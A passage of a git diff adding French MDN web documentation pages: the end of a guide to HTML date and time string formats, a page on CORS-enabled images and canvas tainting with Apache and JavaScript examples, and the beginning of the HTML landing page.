+   <td><code>1948-W53</code></td>
+   <td>Semaine 53 de l'année 1948 (entre le 27 décembre 1948 et le 2 janvier 1949)</td>
+  </tr>
+  <tr>
+   <td><code>1949-W01</code></td>
+   <td>Semaine 1 de l'année 1949 (entre le 3 janvier et le 9 janvier 1949)</td>
+  </tr>
+  <tr>
+   <td><code>0531-W16</code></td>
+   <td>Semaine 16 de l'année 531 (entre le 13 avril et le 19 avril 531)</td>
+  </tr>
+  <tr>
+   <td><code>0042-W04</code></td>
+   <td>Semaine 4 de l'année 42 (entre le 21 et le 27 janvier 42)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>On notera que les deux composantes pour l'année et pour la semaine sont complétées avec des zéros à gauche afin que l'année soit exprimée sur 4 chiffres et que la semaine soit exprimée sur 2 chiffres.</p>
+
+<h2 id="Représentation_des_mois">Représentation des mois</h2>
+
+<p>Une chaîne de caractères pour un mois représente un mois d'une année donnée (plutôt qu'un mois « générique »). Aussi, on ne représentera pas simplement le mois de janvier mais le mois de janvier de l'année 1972.</p>
+
+<p>Une chaîne de caractères représentant un mois est valide si elle commence par un numéro d'année valide (une chaîne de caractères composée de quatre chiffres), suivie d'un tiret ("<code>-</code>", ou U+002D), suivi d'un nombre sur deux chiffres où <code>01</code> représente janvier et où <code>12</code> représente décembre.</p>
+
+<table class="standard-table">
+ <caption>Exemples de chaînes de caractères valides pour la représentation d'un mois</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th scope="col">Le mois et l'année</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>17310-09</code></td>
+   <td>Le mois de septembre de l'année 17310</td>
+  </tr>
+  <tr>
+   <td><code>2019-01</code></td>
+   <td>Le mois de janvier de l'année 2019</td>
+  </tr>
+  <tr>
+   <td><code>1993-11</code></td>
+   <td>Le mois de novembre de l'année 1993</td>
+  </tr>
+  <tr>
+   <td><code>0571-04</code></td>
+   <td>Le mois d'avril de l'année 571</td>
+  </tr>
+  <tr>
+   <td><code>0001-07</code></td>
+   <td>Le mois de juillet de l'an 1</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>On notera que les années sont exprimées sur au moins 4 chiffres et que les années antérieures à 1000 sont préfixées de 0.</p>
+
+<h2 id="Représentation_des_dates">Représentation des dates</h2>
+
+<p>Une chaîne de caractères représentant une date est valide si elle contient : une année (cf. ci-avant) suivie d'un tiret, suivi d'un mois, suivi d'un tiret ("<code>-</code>" ou U+002D) suivi du numéro du jour dans le mois sur deux chiffres.</p>
+
+<table class="standard-table">
+ <caption>Exemples de chaînes de caractères valides pour représenter des dates</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th scope="col">Date complète</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>1993-11-01</code></td>
+   <td>1er novembre 1993</td>
+  </tr>
+  <tr>
+   <td><code>1066-10-14</code></td>
+   <td>14 octobre 1066</td>
+  </tr>
+  <tr>
+   <td><code>0571-04-22</code></td>
+   <td>22 avril 571</td>
+  </tr>
+  <tr>
+   <td><code>0062-02-05</code></td>
+   <td>5 février 62</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Représentation_des_heures">Représentation des heures</h2>
+
+<p>Une chaîne de caractères représentant une heure peut décrire différentes précisions : minute, seconde ou milliseconde. Il n'est pas possible d'indiquer uniquement l'heure ou les minutes. Une chaîne valide se compose <em>a minima</em> d'une valeur sur deux chiffres représentant une heure, suivi de deux-points ("<code>:</code>", U+003A) puis d'une valeur sur deux chiffres exprimant les minutes. La valeur des minutes peut ensuite être suivie d'un autre deux-points puis d'une valeur sur deux chiffres pour les secondes. Il est possible d'indiquer les millisecondes en ajoutant un point ("<code>.</code>", U+002E) après les secondes, suivi d'une valeur sur un, deux ou trois chiffres.</p>
+
+<p>Voici quelques règles supplémentaires :</p>
+
+<ul>
+ <li>L'heure est toujours exprimée selon une horloge sur 24 heures où <code>00</code> correspond à minuit et où <code>23</code> correspond à onze heures du soir. Aucune valeur en dehors de l'intervalle <code>00</code>–<code>23</code> n'est autorisée.</li>
+ <li>La valeur représentant les minutes doit être composée de deux chiffres et être située entre <code>00</code> et <code>59</code>. Les valeurs en dehors de cet intervalle ne sont pas autorisées.</li>
+ <li>Si les secondes ne sont pas exprimées, il ne faut pas que la valeur se termine par un deux-points (après les minutes).</li>
+ <li>Si les secondes sont exprimées, leur nombre doit être entre <code>00</code> et <code>59</code>. Il n'est pas possible d'indiquer des secondes intercalaires à l'aide de valeurs telles que <code>60</code> ou <code>61</code>.</li>
+ <li>Si le nombre de secondes est indiqué et que c'est un entier, il ne doit pas être suivi d'un point.</li>
+ <li>Si les millisecondes sont indiquées, la valeur correspondante peut être composée d'un à trois chiffres.</li>
+</ul>
+
+<table class="standard-table">
+ <caption>Exemples de chaînes de caractères valides pour exprimer une heure</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th scope="col">Heure</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>00:00:30.75</code></td>
+   <td>Minuit passé de 30 secondes et 750 millisecondes</td>
+  </tr>
+  <tr>
+   <td><code>12:15</code></td>
+   <td>Midi passé de quinze minutes</td>
+  </tr>
+  <tr>
+   <td><code>13:44:25</code></td>
+   <td>13 heures 44 et 25 secondes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Représentation_des_dates_et_heures_locales">Représentation des dates et heures locales</h2>
+
+<p>Une chaîne de caractères <code><a href="/fr/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code> se compose d'une chaîne de caractères représentant une date, suivie de la lettre "<code>T</code>" ou d'une espace puis d'une chaîne de caractères représentant une heure. La représentation ne contient aucune information quant au fuseau horaire dont il est question et on présume que la valeur temporelle indiquée est relative au fuseau horaire de l'utilisateur.</p>
+
+<p>Lorsqu'on définit la valeur de l'attribut {{htmlattrxref("value", "input")}} d'un champ <code>datetime-local</code>, la chaîne de caractères est normalisée. Les formes normalisées utilisent toujours la lettre T comme séparateur entre la date et l'heure. De plus, les formes normalisées utilisent toujours la forme la plus courte pour exprimer l'heure (les secondes sont omises si leur valeur est <code>:00</code>).</p>
+
+<table class="standard-table">
+ <caption>Exemples de chaînes de caractères valides pour l'expression de dates/heures</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th scope="col">Version normalisée</th>
+   <th scope="col">Date et heure correspondantes</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>1986-01-28T11:38:00.01</code></td>
+   <td><code>1986-01-28T11:38:00.01</code></td>
+   <td>28 janvier 1986 à 11 heures et 38 minutes passées de 10 millisecondes</td>
+  </tr>
+  <tr>
+   <td><code>1986-01-28 11:38:00.010</code></td>
+   <td><code>1986-01-28T11:38:00.01</code><sup><a href="#datetime-local-footnote1">1</a></sup></td>
+   <td>28 janvier 1986 à 11 heures et 38 minutes passées de 10 millisecondes</td>
+  </tr>
+  <tr>
+   <td><code>0170-07-31T22:00:00</code></td>
+   <td><code>0170-07-31T22:00</code><sup><a href="#datetime-local-footnote2">2</a></sup></td>
+   <td>31 juillet 170 à 22 heures</td>
+  </tr>
+ </tbody>
+</table>
+
+<ol>
+ <li>On notera qu'après la normalisation, on obtient la même chaîne que sur l'exemple précédent : l'espace séparateur a été remplacé par un <code>"T"</code> et le zéro de terminaison a été supprimé pour raccourcir la chaîne de l'heure.</li>
+ <li>On notera que la forme normalisée de cette date ne contient pas l'expression des secondes.</li>
+</ol>
+
+<h2 id="Représentation_des_dates_et_heures_universelles">Représentation des dates et heures universelles</h2>
+
+<p>Une valeur de date/heure universelle exprime la date et l'heure mais aussi le fuseau horaire de l'instant. Une chaîne de caractères représentant une telle valeur commence de la même façon qu'une chaîne de caractère représentant une date/heure locale, suivie d'une chaîne de caractères indiquant le décalage horaire.</p>
+
+<h3 id="Chaîne_de_caractères_exprimant_le_décalage_horaire">Chaîne de caractères exprimant le décalage horaire</h3>
+
+<p>La chaîne de caractères qui décrit le décalage horaire contient un décalage positif d'heures et de minutes, relativement à un fuseau de base. Il existe deux points de référence qui sont très proches sans être identiques :</p>
+
+<ul>
+ <li>Pour les dates situées après la création du temps coordonné universel (UTC, {{interwiki("wikipedia", "Coordinated Universal Time")}}) au début des années 60, le point de référence est indiqué avec <code>Z</code> et le décalage indique le décalage d'un fuseau horaire par rapport au méridien situé à la longitude 0° (méridien de Greenwich).</li>
+ <li>Pour les dates antérieures à UTC, le point de référence est exprimé en {{interwiki("wikipedia", "UT1")}}, qui correspond au temps solaire au méridien de longitude 0°.</li>
+</ul>
+
+<p>La chaîne de caractères indiquant le décalage est directement ajoutée après la valeur pour la date et l'heure. Si la date et l'heure sont déjà exprimées relativement à UTC, on pourra simplement suffixer <code>"Z"</code>, sinon, on construira le complément de la façon suivante :</p>
+
+<ol>
+ <li>Un caractère indiquant le signe du décalage : le plus ("<code>+</code>" ou U+002B) pour les fuseaux situés à l'est du méridien ou le moins ("<code>-</code>" ou U+002D) pour les fuseaux situés à l'ouest.</li>
+ <li>Deux chiffres indiquant le nombre d'heures de décalage par rapport au méridien. Cette valeur doit être comprise entre <code>00</code> et <code>23</code>.</li>
+ <li>Deux-points ("<code>:</code>") (nécessaires uniquement si le décalage contient des minutes)</li>
+ <li>Deux chiffres indiquant les minutes de décalage. Cette valeur doit être comprise entre <code>00</code> et <code>59</code>.</li>
+</ol>
+
+<p>Bien que ces règles permettent d'exprimer des fuseaux horaires entre -23:59 et +23:59, l'intervalle actuel des décalages horaires est -12:00 à +14:00 et il n'y a pas de fuseau horaire pour lequel le décalage en minutes est différent de <code>00</code>, <code>30</code> ou <code>45</code>. Cela peut en théorie évoluer à tout moment car les pays sont libres de modifier leur fuseau horaire quand ils le souhaitent.</p>
+
+<table class="standard-table">
+ <caption>Exemples de chaînes de caractères valides pour l'expression de dates/heures universelles</caption>
+ <thead>
+  <tr>
+   <th scope="col">Chaîne de caractères</th>
+   <th scope="col">Date/heure universelle</th>
+   <th scope="col">Date/heure sur le méridien solaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>2005-06-07T00:00Z</code></td>
+   <td>7 juin 2005 à minuit UTC</td>
+   <td>7 juin 2005 à minuit</td>
+  </tr>
+  <tr>
+   <td><code>1789-08-22T12:30:00.1-04:00</code></td>
+   <td>22 août 1789 à midi trente (passé d'un dixième de seconde) selon l'heure avancée de l'Est (<em>Eastern Daylight Time</em> (EDT))</td>
+   <td>22 août 1789 à 16 heures trente passées d'un dixième de seconde</td>
+  </tr>
+  <tr>
+   <td><code>3755-01-01 00:00+10:00</code></td>
+   <td>1er janvier 3755 à minuit pour le fuseau AEST (<em>Australian Eastern Standard Time</em>)</td>
+   <td>31 décembre 3754 à 14h</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}}</li>
+ <li>Les éléments {{HTMLElement("ins")}} et {{HTMLElement("del")}} qui possèdent l'attribut <code>datetime</code> qui permet de définir une date ou une date et une heure locales pour indiquer le moment où le contenu a été inséré ou supprimé</li>
+ <li><a href="https://www.iso.org/iso-8601-date-and-time-format.html">La spécification ISO 8601</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Nombres_et_dates">Le chapitre sur les nombres et les dates</a> dans le <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a></li>
+ <li>L'objet JavaScript {{jsxref("Date")}}</li>
+ <li>L'objet <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat">Intl.DateTimeFormat</a></code> qui permet de formater des dates et des heures pour une locale donnée</li>
+</ul>
diff --git a/files/fr/web/html/images_avec_le_contrôle_d_accès_http/index.html b/files/fr/web/html/images_avec_le_contrôle_d_accès_http/index.html
new file mode 100644
index 0000000000..e0f92b24c7
--- /dev/null
+++ b/files/fr/web/html/images_avec_le_contrôle_d_accès_http/index.html
@@ -0,0 +1,117 @@
+---
+title: Images avec le contrôle d'accès HTTP
+slug: Web/HTML/Images_avec_le_contrôle_d_accès_HTTP
+tags:
+  - Avancé
+  - CORS
+  - Canvas
+  - HTML
+  - Reference
+translation_of: Web/HTML/CORS_enabled_image
+---
+<div>{{QuickLinksWithSubpages("/fr/docs/Web/HTML/")}}</div>
+
+<p><span class="seoSummary">HTML permet d'utiliser l'attribut {{htmlattrxref("crossorigin", "img")}} sur les images. Utilisé avec un en-tête {{Glossary("CORS")}} adéquat, les images définies par {{HTMLElement("img")}} provenant d'origines étrangères pourront être utilisées au sein d'un élément {{HTMLElement("canvas")}} comme si elles avaient été chargées depuis l'origine courante.</span></p>
+
+<p>Pour plus de détails sur l'attribut <code>crossorigin</code>, voir <a href="/fr/docs/Web/HTML/Reglages_des_attributs_CORS">les attributs de paramétrage du CORS</a>.</p>
+
+<h2 id="Canevas_corrompu_et_sécurité">Canevas corrompu et sécurité</h2>
+
+<p>Les pixels composant un canevas pouvant venir de différentes sources, notamment d'images ou de vidéos récupérées depuis des hôtes tiers, il est nécessaire de se prémunir contre certains problèmes de sécurité.</p>
+
+<p>Dès que des données sont chargées dans le canevas depuis une autre origine sans avoir été « approuvées » par le CORS, le canevas devient <strong>corrompu</strong> (<em>tainted</em>). Dès qu'un canevas est corrompu, il n'est plus considéré comme sécurisé et toute tentative de récupérer des données depuis les données de l'image résultera en une exception.</p>
+
+<p>Si la source du contenu tiers est un élément HTML {{HTMLElement("img")}} ou SVG {{SVGElement("svg")}}, il n'est plus permis de récupérer le contenu du canevas.</p>
+
+<p>Si la source du contenu tiers est une image obtenue à partir d'un {{domxref("HTMLCanvasElement")}} ou d'une {{domxref("ImageBitMap")}} et que la source de l'image ne respecte pas les règles quant à l'unicité de l'origine, il ne sera pas possible de lire le contenu du canevas.</p>
+
+<p>Appeler l'une des méthodes suivantes sur un canevas corrompu déclenchera une erreur :</p>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D.getImageData", "getImageData()")}} sur le contexte du canevas</li>
+ <li>{{domxref("HTMLCanvasElement.toBlob", "toBlob()")}} sur l'élément {{HTMLElement("canvas")}}</li>
+ <li>{{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} sur le canevas</li>
+</ul>
+
+<p>L'exception levée par de tels appels sera une exception <code>SecurityError</code>. Cette mesure protège les utilisateurs contre l'exposition de données privées via des images provenant de sites tiers sans permission.</p>
+
+<h2 id="Stocker_une_image_provenant_d'une_origine_tierce">Stocker une image provenant d'une origine tierce</h2>
+
+<p>Dans cet exemple, on souhaite autoriser la récupération et l'enregistrement d'images provenant d'une autre origine. Pour parvenir à ce résultat, il faudra configurer le serveur et également écrire du code pour le site web.</p>
+
+<h3 id="Configuration_serveur">Configuration serveur</h3>
+
+<p>Pour commencer, configurons le serveur stockant les images avec un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} qui permet un accès multi-origines aux fichiers images.</p>
+
+<p>Dans la suite de cet exemple, on prendra le cas d'un site est servi via <a href="https://httpd.apache.org/">Apache</a>. On pourra utiliser le fragment <a href="https://github.com/h5bp/server-configs-apache/blob/master/src/cross-origin/images.conf">de configuration serveur Apache pour les images CORS</a> :</p>
+
+<pre class="brush: xml">&lt;IfModule mod_setenvif.c&gt;
+  &lt;IfModule mod_headers.c&gt;
+    &lt;FilesMatch "\.(bmp|cur|gif|ico|jpe?g|png|svgz?|webp)$"&gt;
+      SetEnvIf Origin ":" IS_CORS
+      Header set Access-Control-Allow-Origin "*" env=IS_CORS
+    &lt;/FilesMatch&gt;
+  &lt;/IfModule&gt;
+&lt;/IfModule&gt;</pre>
+
+<p>Pour résumer, cela permet de configurer le serveur afin de pouvoir accéder aux fichiers graphiques (ceux avec les extensions ".bmp", ".cur", ".gif", ".ico", ".jpg", ".jpeg", ".png", ".svg", ".svgz", and ".webp") depuis d'autres origines, d'où qu'elles soient sur Internet.</p>
+
+<h3 id="Implémenter_l'enregistrement">Implémenter l'enregistrement</h3>
+
+<p>Maintenant que le serveur est configuré pour permettre la récupération d'image depuis plusieurs origines, on peut écrire le code qui permet à l'utilisateur d'enregistrer les images <a href="/fr/docs/Web/API/Web_Storage_API">en stockage local</a> comme si elles étaient servies depuis le même domaine que le code.</p>
+
+<p>Pour cela, on utilise l'attribut {{htmlattrxref("crossorigin")}} en définissant {{domxref("HTMLImageElement.crossOrigin", "crossOrigin")}} sur l'élément {{domxref("HTMLImageElement")}} sur lequel l'image sera chargée. Ainsi, on indique au navigateur de demander un accès multi-origine lors du téléchargement de l'image.</p>
+
+<h4 id="Démarrer_le_téléchargement">Démarrer le téléchargement</h4>
+
+<p>Voici le code qui démarre le téléchargement (déclenché par exemple lorsque l'utilisateur clique sur un bouton « Télécharger ») :</p>
+
+<pre class="brush: js">function startDownload() {
+  let imageURL = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2Fmdn_logo-only_color.svg?1535749917189";
+
+  downloadedImg = new Image;
+  downloadedImg.crossOrigin = "Anonymous";
+  downloadedImg.addEventListener("load", imageReceived, false);
+  downloadedImg.src = imageURL;
+}</pre>
+
+<p>Ici, l'URL de l'image à télécharger est codée en dur mais cette valeur pourrait très bien provenir d'un argument passé à la fonction. Pour démarrer le téléchargement, on crée un nouvel objet {{domxref("HTMLImageElement")}} grâce au constructeur {{domxref("HTMLImageElement.Image", "Image()")}}. L'image est ensuite configurée afin de permettre un téléchargement multi-origine grâce à l'attribut <code>crossOrigin</code> paramétré avec <code>"Anonymous"</code> (qui permet le téléchargement, non-authentifié, d'une image multi-origine). Un gestionnaire d'évènement est ajouté afin de réagir à l'évènement {{event("load")}} lorsque l'image a été reçue.</p>
+
+<p>Enfin, l'attribut {{domxref("HTMLImageElement.src", "src")}} de l'image est défini avec l'URL de l'image à télécharger et le téléchargement démarre.</p>
+
+<h4 id="Recevoir_et_enregistrer_l'image">Recevoir et enregistrer l'image</h4>
+
+<p>Voici le fragment de code exécuté lorsque l'image a été téléchargée :</p>
+
+<pre class="brush: js">function imageReceived() {
+  let canvas = document.createElement("canvas");
+  let context = canvas.getContext("2d");
+
+  canvas.width = downloadedImg.width;
+  canvas.height = downloadedImg.height;
+
+  context.drawImage(downloadedImg, 0, 0);
+  imageBox.appendChild(canvas);
+
+  try {
+    localStorage.setItem("saved-image-example", canvas.toDataURL("image/png"));
+  }
+  catch(err) {
+    console.log("Error: " + err);
+  }
+}</pre>
+
+<p><code>imageReceived()</code> est invoquée lorsque l'évènement <code>"load"</code> est déclenché sur l'élément <code>HTMLImageElement</code> qui reçoit l'image téléchargée. Cet évènement se produit lorsque l'ensemble des données téléchargées est disponible. Cette fonction commence par créer un nouvel élément {{HTMLElement("canvas")}} qui sera utilisé afin de convertir l'image en une URL de donnée. On récupère également un accès au contexte du canevas pour dessiner en 2D ({{domxref("CanvasRenderingContext2D")}}) dans la variable <code>context</code>.</p>
+
+<p>La taille du canevas est ajustée afin que ses dimensions correspondent à celles de l'image. L'image est ensuite dessinée dans le canevas grâce à {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Le canevas est alors inséré dans le document et l'image y devient visible.</p>
+
+<p>Enfin, on enregistre l'image dans le stockage local. Pour cela, on utilise les méthodes de l'API <em>Web Storage</em> en passant par la variable globale {{domxref("Window.localStorage", "localStorage")}}. La méthode {{domxref("HTMLCanvasElement.toDataURL", "toDataURL()")}} est utilisée afin de convertir l'image en une URL de données représentant une image PNG qui est enregistrée dans l'espace local grâce à la méthode {{domxref("Storage.setItem", "setItem()")}}.</p>
+
+<p>Vous pouvez <a href="https://cors-image-example.glitch.me/">essayer</a> ou <a href="https://glitch.com/edit/#!/remix/cors-image-example">adapter</a> cet exemple sur Glitch.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://html.spec.whatwg.org/multipage/embedded-content.html#attr-img-crossorigin">Spécification HTML : l'attribut <code>crossorigin</code></a></li>
+ <li><a href="/fr/docs/Web/API/Web_Storage_API">L'API <em>Web Storage</em></a></li>
+</ul>
diff --git a/files/fr/web/html/index.html b/files/fr/web/html/index.html
new file mode 100644
index 0000000000..9d4ec4719b
--- /dev/null
+++ b/files/fr/web/html/index.html
@@ -0,0 +1,98 @@
+---
+title: HTML (HyperText Markup Language)
+slug: Web/HTML
+tags:
+  - HTML
+  - HTML 5
+  - Landing
+  - Reference
+  - Web
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p><strong>HTML</strong> signifie « <em>HyperText Markup Language</em> » qu'on peut traduire par « langage de balises pour l'hypertexte ». Il est utilisé afin de créer et de représenter le contenu d'une page web et sa structure. D'autres technologies sont utilisées avec HTML pour décrire la présentation d'une page (<a href="/fr/docs/Web/CSS">CSS</a>) et/ou ses fonctionnalités interactives (<a href="/fr/docs/Web/JavaScript">JavaScript</a>).</p>
+
+<p>HTML fonctionne grâce à des « balises » qui sont insérées au sein d'un texte normal. Chacune de ces balises indique la signification de telle ou telle portion de texte dans le site. On parle d'« hypertexte » en référence aux liens qui connectent les pages web entre elles. C'est la mécanique originelle du « World Wide Web » que nous connaissons aujourd'hui. En écrivant et publiant des pages web, vous devenez un acteur du Web dès que votre site est accessible en ligne.</p>
+
+<p>HTML permet d'inclure des images et d'autres contenus dans les pages web. Grâce à HTML, chacun peut créer des sites web aussi bien statiques que dynamiques. HTML est le langage qui permet de décrire la structure et le contenu d'un document web. Ce contenu est balisé par des éléments HTML comme {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}},{{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}} et bien d'autres encore. Ces éléments forment les blocs utilisés pour construire un site web.</p>
+
+<p>En HTML, les balises sont insensibles à la casse et peuvent aussi bien être écrites en minuscules, en majuscules voire avec un mélange des deux. Autrement dit, la balise <code>&lt;title&gt;</code> pourrait très bien être écrite comme <code>&lt;Title&gt;</code>, <code>&lt;TiTle&gt;</code> ou d'une autre façon.</p>
+
+<p>Les articles suivants fournissent des éléments de référence utiles au développement web :</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>Introduction à HTML</span>
+
+  <p>Vous faites vos premiers pas dans le développement web ? <a href="/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML">Nos articles sur les bases de HTML</a> expliquent ce qu'est HTML et comment l'utiliser.</p>
+ </li>
+ <li><span>Tutoriels HTML</span>
+  <p>Pour plus d'informations sur l'utilisation du HTML, des tutoriels et des exemples complets, vous pouvez consulter <a href="/fr/Apprendre/HTML">notre section Apprendre HTML</a>.</p>
+ </li>
+ <li><span>Référence HTML</span>
+  <p>Dans notre <a href="/fr/docs/Web/HTML/Reference">référence exhaustive</a>, vous trouverez le détail de chaque élément et attribut constituant HTML.</p>
+ </li>
+</ul>
+
+<div>
+<div>
+<h2 id="Tutoriels">Tutoriels</h2>
+
+<p>La section <a href="/fr/docs/Apprendre/HTML">Apprendre HTML</a> contient plusieurs modules pour vous apprendre à utiliser HTML sans autre connaissance particulière.</p>
+
+<dl>
+ <dt><a href="/fr/Apprendre/HTML/Introduction_à_HTML">Une introduction à HTML</a></dt>
+ <dd>Dans ce module, on brosse un premier portrait de HTML pour présenter les concepts importants, la syntaxe. On voit comment appliquer HTML sur du texte, comment créer des hyperliens et comment structurer une page web grâce à HTML.</dd>
+ <dt><a href="/fr/docs/Apprendre/HTML/Multimedia_and_embedding">Le multimédia et l'intégration</a></dt>
+ <dd>Dans ce module, on explore comment utiliser HTML pour intégrer des fichiers multimédias dans une page web. Cela couvre les différentes façons d'inclure une image, comment ajouter une vidéo ou un fichier audio voire aussi comment intégrer d'autres pages web.</dd>
+ <dt><a href="/fr/docs/Apprendre/HTML/Tableaux">Les tableaux HTML</a></dt>
+ <dd>Il est parfois compliqué de représenter des données tabulaires de façon compréhensible et lisible sur une page web. Dans ce module, on voit les différentes balises utilisées pour construire des tableaux et certaines fonctionnalités plus complexes comme les légendes et résumés.</dd>
+ <dt><a href="/fr/docs/Web/Guide/HTML/Formulaires">Les formulaires HTML</a></dt>
+ <dd>Les formulaires sont cruciaux sur le Web, ils permettent de créer un compte sur un site, de se connecter, d'acheter des produits, d'écrire des commentaires, etc. Dans ce module, on voit comment créer des formulaires pour le navigateur (« côté client »).</dd>
+ <dt><a href="/fr/Apprendre/HTML/Comment">Utiliser HTML pour résoudre des problèmes courants</a></dt>
+ <dd>Ce module fournit un ensemble d'articles au sujet des problèmes qu'on rencontre fréquemment lorsqu'on crée une page web : gérer les titres, ajouter des images ou des vidéos, mettre en avant une partie du texte, créer un formulaire, etc.</dd>
+</dl>
+
+<h2 id="Références">Références</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML/Reference">Référence HTML</a></dt>
+ <dd>HTML est un langage décrivant la structure et le contenu sémantique d'un document web. Il est constitué d'<strong>éléments</strong>, chacun pouvant être paramétré grâce à différents <strong>attributs</strong>.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Element">Référence des éléments HTML</a></dt>
+ <dd>Cette page liste les différents éléments HTML.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Attributs_globaux">Référence des attributs HTML</a></dt>
+ <dd>Les éléments HTML possèdent des attributs. Ce sont des valeurs additionnelles permettant de configurer ou d'ajuster le comportement les éléments de manières à répondre aux critères de l'utilisateur.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Éléments_en_ligne">Éléments en ligne</a> et <a href="/fr/docs/Web/HTML/%C3%89l%C3%A9ments_en_bloc">éléments de bloc</a></dt>
+ <dd>Les éléments HTML sont habituellement des éléments « en ligne » ou des éléments de bloc. Un élément en ligne occupe seulement l'espace associé aux balises. Les éléments de bloc sont une catégorie d'éléments HTML opposés aux éléments en ligne. Leur caractéristique principale réside dans le fait qu'ils sont séparés par un saut de ligne avant et après l'élément. Ce faisant, ils prennent la largeur de leurs conteneurs (créant ainsi un bloc de contenu).</dd>
+ <dt><a href="">Attributs universels</a></dt>
+ <dd>Les attributs universels peuvent être utilisés sur tous les éléments HTML, <em>même ceux non spécifiés dans le standard</em>. Par exemple, les navigateurs qui prennent en charge HTML5 masquent les contenus marqués comme <code>&lt;toto hidden&gt;...&lt;toto&gt;</code><code>, bien que </code><code>&lt;toto&gt;</code> ne soit pas un élément valide HTML.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Types_de_lien">Types de lien</a></dt>
+ <dd>Les différents liens permettent de décrire les relations entre deux documents qui sont reliés entre eux par un élément {{HTMLElement("a")}}, {{HTMLElement("area")}} ou {{HTMLElement("link")}}.</dd>
+ <dt><a href="/fr/docs/Web/Media/Formats">Formats de média audio et vidéo pris en charge par HTML</a></dt>
+ <dd>Les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} permettent d'ajouter des médias audio et vidéo directement dans le navigateur (sans avoir à utiliser des plugins ou programmes tiers).</dd>
+ <dt><a href="/fr/docs/Web/Guide/HTML/Catégories_de_contenu">Types de contenu HTML</a></dt>
+ <dd>HTML s'organise selon différents types de contenu dont chacun peut être autorisé ou non en fonction du contexte. Ces catégories indiquent quels éléments peuvent être contenus ou non dans d'autres éléments. Cet article explique le fonctionnement de ces catégories.</dd>
+</dl>
+</div>
+
+<div>
+<h2 id="Autres_guides">Autres guides</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/fr/docs/Web/HTML/Images_avec_le_contrôle_d_accès_HTTP">Images avec CORS activé</a></dt>
+ <dd class="landingPageList">L'attribut {{htmlattrxref("crossorigin", "img")}}, utilisé avec un en-tête {{glossary("CORS")}} adéquat, permet aux images définies via un élément {{HTMLElement("img")}} d'être chargées depuis des origines tierces et d'être utilisées au sein d'éléments {{HTMLElement("canvas")}} comme si elles étaient chargées depuis l'origine courante.</dd>
+ <dt><a href="fr/docs/Web/HTML/Reglages_des_attributs_CORS">Attributs de réglage du CORS</a></dt>
+ <dd>Certains des éléments HTML supportant le <a href="/fr/docs/HTTP/Access_control_CORS">CORS</a> (Cross-Origin Resource Sharing) comme {{HTMLElement("img")}} ou {{HTMLElement("video")}} ont un attribut {{HTMLattrxref("crossorigin","img")}} qui permet de configurer les requêtes CORS pour les données de l'élément à renvoyer.</dd>
+ <dt><a href="/fr/docs/Web/HTML/Gestion_du_focus_en_HTML">Gérer le focus en HTML</a></dt>
+ <dd>L'attribut DOM {{domxref("Document.activeElement")}} et la méthode DOM {{domxref("Document.hasFocus()")}} permettent au programmeur de mieux contrôler l'interactivité d'une page vis à vis des actions de l'utilisateur. Ils peuvent par exemple être utilisés pour des statistiques, pour surveiller le nombre de clics sur certains liens d'une page, pour comptabiliser le nombre de fois où l'élément reçoit le focus, etc. De plus, combinés à AJAX, ils aident à minimiser le nombre de requêtes au serveur, en fonction de l'activité de l'utilisateur et de l'agencement de la page.</dd>
+ <dt class="landingPageList"><a href="/fr/docs/Web/HTML/Précharger_du_contenu">Précharger du contenu grâce à <code>rel="preload"</code></a></dt>
+ <dd class="landingPageList">La valeur <code>preload</code> de l'attribut {{htmlattrxref("rel", "link")}} associé à l'élément {{htmlelement("link")}} permet d'écrire des requêtes de récupération de ressources au sein de l'élément {{htmlelement("head")}} du document HTML pour les ressources qui seront nécessaires à la page peu de temps après le chargement. Les ressources ciblées sont ainsi préchargées lors du chargement de la page avant que le navigateur effectue un premier rendu. Cela permets que les ressources soient disponibles plus tôt et moins susceptibles de bloquer l'affichage de la page, améliorant ainsi les performances. Cet article explique les bases du fonctionnement de <code>preload</code>.</dd>
